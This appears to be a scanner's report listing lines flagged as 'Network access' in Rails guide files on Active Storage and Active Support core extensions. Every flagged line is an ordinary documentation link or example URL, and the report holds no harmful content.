[Attached::One#attach]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-attach [Attached::One#attached?]: - Network accessline 233
https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-attach - Network accessline 235
https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-attached-3F - Network accessline 304
[`has_many_attached`]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_many_attached - Network accessline 305
https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_many_attached - Network accessline 306
[Attached::Many#attach]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Many.html#method-i-attach [Attached::Many#attached?]: - Network accessline 307
https://api.rubyonrails.org/classes/ActiveStorage/Attached/Many.html#method-i-attach - Network accessline 309
https://api.rubyonrails.org/classes/ActiveStorage/Attached/Many.html#method-i-attached-3F - Network accessline 345
[ActiveStorage::Blob#signed_id]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-signed_id - Network accessline 346
https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-signed_id - Network accessline 517
url_for(user.profile_photo) # => https://www.example.com/rails/active_storage/blobs/redirect/:signed_id/my-profile-photo.png - Network accessline 518
# => https://www.example.com/rails/active_storage/blobs/redirect/:signed_id/my-profile-photo.png - Network accessline 528
To create a download link, use the `rails_blob_{path|url}` helpers. These helpers generate the same permanent Rails URL but allow you to specify the file [Content-Disposition Header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Referen - Network accessline 530
[Content-Disposition Header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Disposition). - Network accessline 548
[ActionView::RoutingUrlFor#url_for]: https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for - Network accessline 549
https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for - Network accessline 551
https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-signed_id - Network accessline 679
[`ActiveStorage::Blobs::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Blobs/RedirectController.html - Network accessline 680
https://api.rubyonrails.org/classes/ActiveStorage/Blobs/RedirectController.html - Network accessline 681
[`ActiveStorage::Blobs::ProxyController`]: https://api.rubyonrails.org/classes/ActiveStorage/Blobs/ProxyController.html [`ActiveStorage::Representations::RedirectController`]: - Network accessline 682
https://api.rubyonrails.org/classes/ActiveStorage/Blobs/ProxyController.html - Network accessline 683
[`ActiveStorage::Representations::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html [`ActiveStorage::Representations::ProxyController`]: - Network accessline 684
https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html - Network accessline 686
https://api.rubyonrails.org/classes/ActiveStorage/Representations/ProxyController.html - Network accessline 750
[Blob#download]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-download - Network accessline 751
https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-download - Network accessline 753
https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-open - Network accessline 775
[Attached::One#purge]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-purge - Network accessline 776
https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-purge - Network accessline 778
https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-purge_later - Network accessline 789
There are cases where a file is uploaded but never attached to a record. This can happen when using [Direct Uploads](#direct-uploads). You can query for unattached records using the [unattached scope](https://api.rubyonrails.org/classes/Act - Network accessline 790
can happen when using [Direct Uploads](#direct-uploads). You can query for unattached records using the [unattached scope](https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-c-unattached). Below is an example using a [custom - Network accessline 791
unattached records using the [unattached scope](https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-c-unattached). Below is an - Network accessline 806
There is also a [`detach`](https://edgeapi.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-detach) method, which deletes the associated attachments but leaves the blobs in place. This intentionally orphans the blob and leav - Network accessline 899
[`metadata`][]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-metadata - Network accessline 900
https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-metadata - Network accessline 902
https://api.rubyonrails.org/classes/ActiveStorage/Blob/Analyzable.html#method-i-analyzed-3F - Network accessline 914
You can configure specific variants for attachments by calling the [`variant`](https://api.rubyonrails.org/classes/ActiveStorage/Variant.html) - Network accessline 915
[`variant`](https://api.rubyonrails.org/classes/ActiveStorage/Variant.html) - Network accessline 965
command injection vulnerabilities in your app. It is also recommended to implement a strict [ImageMagick security policy](https://imagemagick.org/script/security-policy.php) when MiniMagick is - Network accessline 966
implement a strict [ImageMagick security policy](https://imagemagick.org/script/security-policy.php) when MiniMagick is the variant processor of choice. With ruby-vips, you can - Network accessline 967
policy](https://imagemagick.org/script/security-policy.php) when MiniMagick is - Network accessline 968
the variant processor of choice. With ruby-vips, you can [block untrusted formats][https://www.libvips.org/2022/05/28/What's-new-in-8.13.html#blocking-of-unfuzzed-loaders] by setting `VIPS_BLOCK_UNTRUSTED` environment variable or calling - Network accessline 969
[block untrusted formats][https://www.libvips.org/2022/05/28/What's-new-in-8.13.html#blocking-of-unfuzzed-loaders] - Network accessline 987
[`preview`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-preview - Network accessline 988
https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-preview - Network accessline 990
https://api.rubyonrails.org/classes/ActiveStorage/Preview.html - Network accessline 1022
[`representable?`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-representable-3F - Network accessline 1023
https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-representable-3F - Network accessline 1025
https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-representation - Network accessline 1079
configuring.html#config-active-storage-track-variants [`ActiveStorage::Representations::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html - Network accessline 1080
[`ActiveStorage::Representations::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html [`with_all_variant_records`]: - Network accessline 1081
https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html - Network accessline 1083
https://api.rubyonrails.org/classes/ActiveStorage/Attachment.html#method-c-with_all_variant_records - Network accessline 1234
The S3 Service supports all of the authentication options described in the [AWS SDK documentation](https://docs.aws.amazon.com/sdk-for-ruby/v3/developer-guide/setup-config.html). - Network accessline 1236
documentation](https://docs.aws.amazon.com/sdk-for-ruby/v3/developer-guide/setup-config.html). - Network accessline 1242
digitalocean: service: S3 endpoint: https://nyc3.digitaloceanspaces.com - Network accessline 1243
service: S3 endpoint: https://nyc3.digitaloceanspaces.com access_key_id: <%= Rails.application.credentials.dig(:digitalocean, :access_key_id) %> - Network accessline 1244
endpoint: https://nyc3.digitaloceanspaces.com - Network accessline 1256
There are many other options available. You can see them in the [AWS S3 Client](https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/S3/Client.html#initialize-instance_method) - Network accessline 1257
Client](https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/S3/Client.html#initialize-instance_method) - Network accessline 1262
You'll need to add the [`google-cloud-storage`](https://github.com/GoogleCloudPlatform/google-cloud-ruby/tree/main/google-cloud-storage) - Network accessline 1263
[`google-cloud-storage`](https://github.com/GoogleCloudPlatform/google-cloud-ruby/tree/main/google-cloud-storage) - Network accessline 1296
client_email: "" client_id: "" auth_uri: "https://accounts.google.com/o/oauth2/auth" - Network accessline 1297
client_id: "" auth_uri: "https://accounts.google.com/o/oauth2/auth" token_uri: "https://accounts.google.com/o/oauth2/token" - Network accessline 1298
auth_uri: "https://accounts.google.com/o/oauth2/auth" - Network accessline 1299
token_uri: "https://accounts.google.com/o/oauth2/token" - Network accessline 1300
auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs" - Network accessline 1307
You can optionally use [IAM](https://cloud.google.com/storage/docs/access-control/signed-urls#signing-iam) - Network accessline 1308
[IAM](https://cloud.google.com/storage/docs/access-control/signed-urls#signing-iam) - Network accessline 1310
authenticating your GKE (Google Kubernetes Engine) applications with Workload Identity, see [this Google Cloud blog post](https://cloud.google.com/blog/products/containers-kubernetes/introducing-workload-identity-better-authentication-for-y - Network accessline 1311
Identity, see [this Google Cloud blog post](https://cloud.google.com/blog/products/containers-kubernetes/introducing-workload-identity-better-authentication-for-your-gke-applications) for more information. - Network accessline 1312
post](https://cloud.google.com/blog/products/containers-kubernetes/introducing-workload-identity-better-authentication-for-your-gke-applications) - Network accessline 1322
You can specify a GSA (Google Service Account) when signing URLs. When using IAM, the [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) will - Network accessline 1323
IAM, the [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) will be contacted to get the GSA email, but this metadata server is not always - Network accessline 1324
server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) will - Network accessline 1410
Make sure your buckets are properly configured for public access. See docs on how to enable public read permissions for [Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/block-public-access-bucket.html) - Network accessline 1411
how to enable public read permissions for [Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/block-public-access-bucket.html) and [Google Cloud - Network accessline 1412
S3](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/block-public-access-bucket.html) - Network accessline 1413
and [Google Cloud Storage](https://cloud.google.com/storage/docs/access-control/making-data-public#buckets) storage services. Amazon S3 additionally requires that you have the - Network accessline 1414
Storage](https://cloud.google.com/storage/docs/access-control/making-data-public#buckets) - Network accessline 1424
If you need to support a cloud service other than the ones covered above, you can implement your custom service by extending [`ActiveStorage::Service`](https://api.rubyonrails.org/classes/ActiveStorage/Service.html) - Network accessline 1425
can implement your custom service by extending [`ActiveStorage::Service`](https://api.rubyonrails.org/classes/ActiveStorage/Service.html) and implementing the methods necessary to upload and download files to the - Network accessline 1426
[`ActiveStorage::Service`](https://api.rubyonrails.org/classes/ActiveStorage/Service.html) and implementing the methods necessary to upload and download files to the cloud. - Network accessline 1529
* [S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/enabling-cors-examples.html) - Network accessline 1530
* [Google Cloud Storage](https://cloud.google.com/storage/docs/configuring-cors) - Network accessline 1557
], "AllowedOrigins": [ "https://www.example.com" - Network accessline 1558
"AllowedOrigins": [ "https://www.example.com" ], - Network accessline 1559
"https://www.example.com" - Network accessline 1569
[ { "origin": ["https://www.example.com"], - Network accessline 1570
{ "origin": ["https://www.example.com"], "method": ["PUT"], - Network accessline 1571
"origin": ["https://www.example.com"], - Network accessline 1599
 - Network accessline 1838
There is a [`file_fixture_upload`](https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html#method-i-file_fixture_upload) - Network accessline 1839
[`file_fixture_upload`](https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html#method-i-file_fixture_upload)
packages/autoskills/skills-registry/rails-guides/references/active_support_core_extensions.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 134
[Object#blank?]: https://api.rubyonrails.org/classes/Object.html#method-i-blank-3F - Network accessline 135
[Object#present?]: https://api.rubyonrails.org/classes/Object.html#method-i-present-3F - Network accessline 147
[Object#presence]: https://api.rubyonrails.org/classes/Object.html#method-i-presence - Network accessline 175
[Object#duplicable?]: https://api.rubyonrails.org/classes/Object.html#method-i-duplicable-3F - Network accessline 222
[Object#deep_dup]: https://api.rubyonrails.org/classes/Object.html#method-i-deep_dup - Network accessline 266
[Object#try]: https://api.rubyonrails.org/classes/Object.html#method-i-try - Network accessline 267
[Object#try!]: https://api.rubyonrails.org/classes/Object.html#method-i-try-21 - Network accessline 290
[Kernel#class_eval]: https://api.rubyonrails.org/classes/Kernel.html#method-i-class_eval - Network accessline 311
[Object#acts_like?]: https://api.rubyonrails.org/classes/Object.html#method-i-acts_like-3F - Network accessline 357
[Array#to_param]: https://api.rubyonrails.org/classes/Array.html#method-i-to_param - Network accessline 358
[Object#to_param]: https://api.rubyonrails.org/classes/Object.html#method-i-to_param - Network accessline 409
[Hash#to_query]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_query - Network accessline 410
[Object#to_query]: https://api.rubyonrails.org/classes/Object.html#method-i-to_query - Network accessline 453
[Object#with_options]: https://api.rubyonrails.org/classes/Object.html#method-i-with_options - Network accessline 482
[Object#instance_values]: https://api.rubyonrails.org/classes/Object.html#method-i-instance_values - Network accessline 500
[Object#instance_variable_names]: https://api.rubyonrails.org/classes/Object.html#method-i-instance_variable_names - Network accessline 521
[Kernel#enable_warnings]: https://api.rubyonrails.org/classes/Kernel.html#method-i-enable_warnings - Network accessline 522
[Kernel#silence_warnings]: https://api.rubyonrails.org/classes/Kernel.html#method-i-silence_warnings - Network accessline 523
[Kernel#suppress]: https://api.rubyonrails.org/classes/Kernel.html#method-i-suppress - Network accessline 540
[Object#in?]: https://api.rubyonrails.org/classes/Object.html#method-i-in-3F - Network accessline 561
[Module#alias_attribute]: https://api.rubyonrails.org/classes/Module.html#method-i-alias_attribute - Network accessline 601
[Module#attr_internal]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal - Network accessline 602
[Module#attr_internal_accessor]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal_accessor - Network accessline 603
[Module#attr_internal_reader]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal_reader - Network accessline 604
[Module#attr_internal_writer]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal_writer - Network accessline 620
[Module#mattr_accessor]: https://api.rubyonrails.org/classes/Module.html#method-i-mattr_accessor - Network accessline 621
[Module#mattr_reader]: https://api.rubyonrails.org/classes/Module.html#method-i-mattr_reader - Network accessline 622
[Module#mattr_writer]: https://api.rubyonrails.org/classes/Module.html#method-i-mattr_writer - Network accessline 649
[Module#module_parent]: https://api.rubyonrails.org/classes/Module.html#method-i-module_parent - Network accessline 674
[Module#module_parent_name]: https://api.rubyonrails.org/classes/Module.html#method-i-module_parent_name - Network accessline 695
[Module#module_parents]: https://api.rubyonrails.org/classes/Module.html#method-i-module_parents - Network accessline 737
[Module#anonymous?]: https://api.rubyonrails.org/classes/Module.html#method-i-anonymous-3F - Network accessline 833
[Module#delegate]: https://api.rubyonrails.org/classes/Module.html#method-i-delegate - Network accessline 854
[Module#delegate_missing_to]: https://api.rubyonrails.org/classes/Module.html#method-i-delegate_missing_to - Network accessline 868
[Module#redefine_method]: https://api.rubyonrails.org/classes/Module.html#method-i-redefine_method - Network accessline 869
[Module#silence_redefinition_of_method]: https://api.rubyonrails.org/classes/Module.html#method-i-silence_redefinition_of_method - Network accessline 958
[Class#class_attribute]: https://api.rubyonrails.org/classes/Class.html#method-i-class_attribute - Network accessline 1017
[Module#cattr_accessor]: https://api.rubyonrails.org/classes/Module.html#method-i-cattr_accessor - Network accessline 1018
[Module#cattr_reader]: https://api.rubyonrails.org/classes/Module.html#method-i-cattr_reader - Network accessline 1019
[Module#cattr_writer]: https://api.rubyonrails.org/classes/Module.html#method-i-cattr_writer - Network accessline 1045
[Class#descendants]: https://api.rubyonrails.org/classes/Class.html#method-i-descendants - Network accessline 1123
[`raw`]: https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw - Network accessline 1124
[String#html_safe]: https://api.rubyonrails.org/classes/String.html#method-i-html_safe - Network accessline 1154
[String#remove]: https://api.rubyonrails.org/classes/String.html#method-i-remove - Network accessline 1170
[String#squish]: https://api.rubyonrails.org/classes/String.html#method-i-squish - Network accessline 1210
[String#truncate]: https://api.rubyonrails.org/classes/String.html#method-i-truncate - Network accessline 1230
[String#truncate_bytes]: https://api.rubyonrails.org/classes/String.html#method-i-truncate_bytes - Network accessline 1264
[String#truncate_words]: https://api.rubyonrails.org/classes/String.html#method-i-truncate_words - Network accessline 1277
[String#inquiry]: https://api.rubyonrails.org/classes/String.html#method-i-inquiry - Network accessline 1315
[String#strip_heredoc]: https://api.rubyonrails.org/classes/String.html#method-i-strip_heredoc - Network accessline 1354
[String#indent!]: https://api.rubyonrails.org/classes/String.html#method-i-indent-21 - Network accessline 1355
[String#indent]: https://api.rubyonrails.org/classes/String.html#method-i-indent - Network accessline 1372
[String#at]: https://api.rubyonrails.org/classes/String.html#method-i-at - Network accessline 1387
[String#from]: https://api.rubyonrails.org/classes/String.html#method-i-from - Network accessline 1402
[String#to]: https://api.rubyonrails.org/classes/String.html#method-i-to - Network accessline 1412
[String#first]: https://api.rubyonrails.org/classes/String.html#method-i-first - Network accessline 1422
[String#last]: https://api.rubyonrails.org/classes/String.html#method-i-last - Network accessline 1458
[String#pluralize]: https://api.rubyonrails.org/classes/String.html#method-i-pluralize - Network accessline 1483
[String#singularize]: https://api.rubyonrails.org/classes/String.html#method-i-singularize - Network accessline 1533
[String#camelcase]: https://api.rubyonrails.org/classes/String.html#method-i-camelcase - Network accessline 1534
[String#camelize]: https://api.rubyonrails.org/classes/String.html#method-i-camelize - Network accessline 1574
[String#underscore]: https://api.rubyonrails.org/classes/String.html#method-i-underscore - Network accessline 1589
[String#titlecase]: https://api.rubyonrails.org/classes/String.html#method-i-titlecase - Network accessline 1590
[String#titleize]: https://api.rubyonrails.org/classes/String.html#method-i-titleize - Network accessline 1613
[String#dasherize]: https://api.rubyonrails.org/classes/String.html#method-i-dasherize - Network accessline 1642
[String#demodulize]: https://api.rubyonrails.org/classes/String.html#method-i-demodulize - Network accessline 1656
[String#deconstantize]: https://api.rubyonrails.org/classes/String.html#method-i-deconstantize - Network accessline 1683
[String#parameterize]: https://api.rubyonrails.org/classes/String.html#method-i-parameterize - Network accessline 1699
[String#tableize]: https://api.rubyonrails.org/classes/String.html#method-i-tableize - Network accessline 1721
[String#classify]: https://api.rubyonrails.org/classes/String.html#method-i-classify - Network accessline 1766
[String#constantize]: https://api.rubyonrails.org/classes/String.html#method-i-constantize - Network accessline 1816
[String#humanize]: https://api.rubyonrails.org/classes/String.html#method-i-humanize - Network accessline 1843
[String#foreign_key]: https://api.rubyonrails.org/classes/String.html#method-i-foreign_key - Network accessline 1856
[String#upcase_first]: https://api.rubyonrails.org/classes/String.html#method-i-upcase_first - Network accessline 1869
[String#downcase_first]: https://api.rubyonrails.org/classes/String.html#method-i-downcase_first - Network accessline 1898
[String#to_date]: https://api.rubyonrails.org/classes/String.html#method-i-to_date - Network accessline 1899
[String#to_datetime]: https://api.rubyonrails.org/classes/String.html#method-i-to_datetime - Network accessline 1900
[String#to_time]: https://api.rubyonrails.org/classes/String.html#method-i-to_time - Network accessline 1949
[Numeric#bytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-bytes - Network accessline 1950
[Numeric#exabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-exabytes - Network accessline 1951
[Numeric#gigabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-gigabytes - Network accessline 1952
[Numeric#kilobytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-kilobytes - Network accessline 1953
[Numeric#megabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-megabytes - Network accessline 1954
[Numeric#petabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-petabytes - Network accessline 1955
[Numeric#terabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-terabytes - Network accessline 1956
[Numeric#zettabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-zettabytes - Network accessline 1988
[Duration#ago]: https://api.rubyonrails.org/classes/ActiveSupport/Duration.html#method-i-ago - Network accessline 1989
[Duration#from_now]: https://api.rubyonrails.org/classes/ActiveSupport/Duration.html#method-i-from_now - Network accessline 1990
[Numeric#days]: https://api.rubyonrails.org/classes/Numeric.html#method-i-days - Network accessline 1991
[Numeric#fortnights]: https://api.rubyonrails.org/classes/Numeric.html#method-i-fortnights - Network accessline 1992
[Numeric#hours]: https://api.rubyonrails.org/classes/Numeric.html#method-i-hours - Network accessline 1993
[Numeric#minutes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-minutes - Network accessline 1994
[Numeric#seconds]: https://api.rubyonrails.org/classes/Numeric.html#method-i-seconds - Network accessline 1995
[Numeric#weeks]: https://api.rubyonrails.org/classes/Numeric.html#method-i-weeks - Network accessline 2100
[Integer#multiple_of?]: https://api.rubyonrails.org/classes/Integer.html#method-i-multiple_of-3F - Network accessline 2117
[Integer#ordinal]: https://api.rubyonrails.org/classes/Integer.html#method-i-ordinal - Network accessline 2134
[Integer#ordinalize]: https://api.rubyonrails.org/classes/Integer.html#method-i-ordinalize - Network accessline 2162
[Integer#months]: https://api.rubyonrails.org/classes/Integer.html#method-i-months - Network accessline 2163
[Integer#years]: https://api.rubyonrails.org/classes/Integer.html#method-i-years - Network accessline 2200
[Enumerable#index_by]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-index_by - Network accessline 2219
[Enumerable#index_with]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-index_with - Network accessline 2239
[Enumerable#many?]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-many-3F - Network accessline 2251
[Enumerable#exclude?]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-exclude-3F - Network accessline 2264
[Enumerable#including]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-including - Network accessline 2279
[Enumerable#excluding]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-excluding - Network accessline 2280
[Enumerable#without]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-without - Network accessline 2293
[Enumerable#pluck]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-pluck - Network accessline 2306
[Enumerable#pick]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-pick - Network accessline 2353
[Array#excluding]: https://api.rubyonrails.org/classes/Array.html#method-i-excluding - Network accessline 2354
[Array#fifth]: https://api.rubyonrails.org/classes/Array.html#method-i-fifth - Network accessline 2355
[Array#forty_two]: https://api.rubyonrails.org/classes/Array.html#method-i-forty_two - Network accessline 2356
[Array#fourth]: https://api.rubyonrails.org/classes/Array.html#method-i-fourth - Network accessline 2357
[Array#from]: https://api.rubyonrails.org/classes/Array.html#method-i-from - Network accessline 2358
[Array#including]: https://api.rubyonrails.org/classes/Array.html#method-i-including - Network accessline 2359
[Array#second]: https://api.rubyonrails.org/classes/Array.html#method-i-second - Network accessline 2360
[Array#second_to_last]: https://api.rubyonrails.org/classes/Array.html#method-i-second_to_last - Network accessline 2361
[Array#third]: https://api.rubyonrails.org/classes/Array.html#method-i-third - Network accessline 2362
[Array#third_to_last]: https://api.rubyonrails.org/classes/Array.html#method-i-third_to_last - Network accessline 2363
[Array#to]: https://api.rubyonrails.org/classes/Array.html#method-i-to - Network accessline 2378
[Array#extract!]: https://api.rubyonrails.org/classes/Array.html#method-i-extract-21 - Network accessline 2408
[Array#extract_options!]: https://api.rubyonrails.org/classes/Array.html#method-i-extract_options-21 - Network accessline 2439
[Array#to_sentence]: https://api.rubyonrails.org/classes/Array.html#method-i-to_sentence - Network accessline 2459
[Array#to_fs]: https://api.rubyonrails.org/classes/Array.html#method-i-to_fs - Network accessline 2562
[Array#to_xml]: https://api.rubyonrails.org/classes/Array.html#method-i-to_xml - Network accessline 2601
[Array.wrap]: https://api.rubyonrails.org/classes/Array.html#method-c-wrap - Network accessline 2617
[Array#deep_dup]: https://api.rubyonrails.org/classes/Array.html#method-i-deep_dup - Network accessline 2657
[Array#in_groups_of]: https://api.rubyonrails.org/classes/Array.html#method-i-in_groups_of - Network accessline 2697
[Array#in_groups]: https://api.rubyonrails.org/classes/Array.html#method-i-in_groups - Network accessline 2721
[Array#split]: https://api.rubyonrails.org/classes/Array.html#method-i-split - Network accessline 2774
[Hash#to_xml]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_xml - Network accessline 2811
[Hash#reverse_merge!]: https://api.rubyonrails.org/classes/Hash.html#method-i-reverse_merge-21 - Network accessline 2812
[Hash#reverse_merge]: https://api.rubyonrails.org/classes/Hash.html#method-i-reverse_merge - Network accessline 2822
[Hash#reverse_update]: https://api.rubyonrails.org/classes/Hash.html#method-i-reverse_update - Network accessline 2839
[Hash#deep_merge!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_merge-21 - Network accessline 2840
[Hash#deep_merge]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_merge - Network accessline 2860
[Hash#deep_dup]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_dup - Network accessline 2882
[Hash#except!]: https://api.rubyonrails.org/classes/Hash.html#method-i-except-21 - Network accessline 2924
[Hash#deep_stringify_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_stringify_keys-21 - Network accessline 2925
[Hash#deep_stringify_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_stringify_keys - Network accessline 2926
[Hash#stringify_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-stringify_keys-21 - Network accessline 2927
[Hash#stringify_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-stringify_keys - Network accessline 2971
[Hash#deep_symbolize_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_symbolize_keys-21 - Network accessline 2972
[Hash#deep_symbolize_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_symbolize_keys - Network accessline 2973
[Hash#symbolize_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-symbolize_keys-21 - Network accessline 2974
[Hash#symbolize_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-symbolize_keys - Network accessline 2982
[Hash#to_options!]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_options-21 - Network accessline 2983
[Hash#to_options]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_options - Network accessline 2998
[Hash#assert_valid_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-assert_valid_keys - Network accessline 3017
[Hash#deep_transform_values!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_transform_values-21 - Network accessline 3018
[Hash#deep_transform_values]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_transform_values - Network accessline 3032
[Hash#slice!]: https://api.rubyonrails.org/classes/Hash.html#method-i-slice-21 - Network accessline 3054
[Hash#extract!]: https://api.rubyonrails.org/classes/Hash.html#method-i-extract-21 - Network accessline 3066
[ActiveSupport::HashWithIndifferentAccess]: https://api.rubyonrails.org/classes/ActiveSupport/HashWithIndifferentAccess.html - Network accessline 3067
[Hash#with_indifferent_access]: https://api.rubyonrails.org/classes/Hash.html#method-i-with_indifferent_access - Network accessline 3098
[Regexp#multiline?]: https://api.rubyonrails.org/classes/Regexp.html#method-i-multiline-3F - Network accessline 3155
[Range#overlap?]: https://api.rubyonrails.org/classes/Range.html#method-i-overlaps-3F - Network accessline 3172
[Date.current]: https://api.rubyonrails.org/classes/Date.html#method-c-current - Network accessline 3173
[Date.tomorrow]: https://api.rubyonrails.org/classes/Date.html#method-c-tomorrow - Network accessline 3174
[Date.yesterday]: https://api.rubyonrails.org/classes/Date.html#method-c-yesterday - Network accessline 3175
[DateAndTime::Calculations#future?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-future-3F - Network accessline 3176
[DateAndTime::Calculations#on_weekday?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-on_weekday-3F - Network accessline 3177
[DateAndTime::Calculations#on_weekend?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-on_weekend-3F - Network accessline 3178
[DateAndTime::Calculations#past?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-past-3F - Network accessline 3201
[`config.beginning_of_week`]: configuring.html#config-beginning-of-week [DateAndTime::Calculations#at_beginning_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_week - Network accessline 3202
[DateAndTime::Calculations#at_beginning_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_week - Network accessline 3203
[DateAndTime::Calculations#at_end_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_week - Network accessline 3204
[DateAndTime::Calculations#beginning_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_week - Network accessline 3205
[DateAndTime::Calculations#end_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_week - Network accessline 3226
[DateAndTime::Calculations#monday]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-monday - Network accessline 3227
[DateAndTime::Calculations#sunday]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-sunday - Network accessline 3253
[Date.beginning_of_week]: https://api.rubyonrails.org/classes/Date.html#method-c-beginning_of_week - Network accessline 3254
[DateAndTime::Calculations#last_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_week - Network accessline 3255
[DateAndTime::Calculations#next_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-next_week - Network accessline 3256
[DateAndTime::Calculations#prev_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-prev_week - Network accessline 3272
[DateAndTime::Calculations#at_beginning_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_month - Network accessline 3273
[DateAndTime::Calculations#at_end_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_month - Network accessline 3274
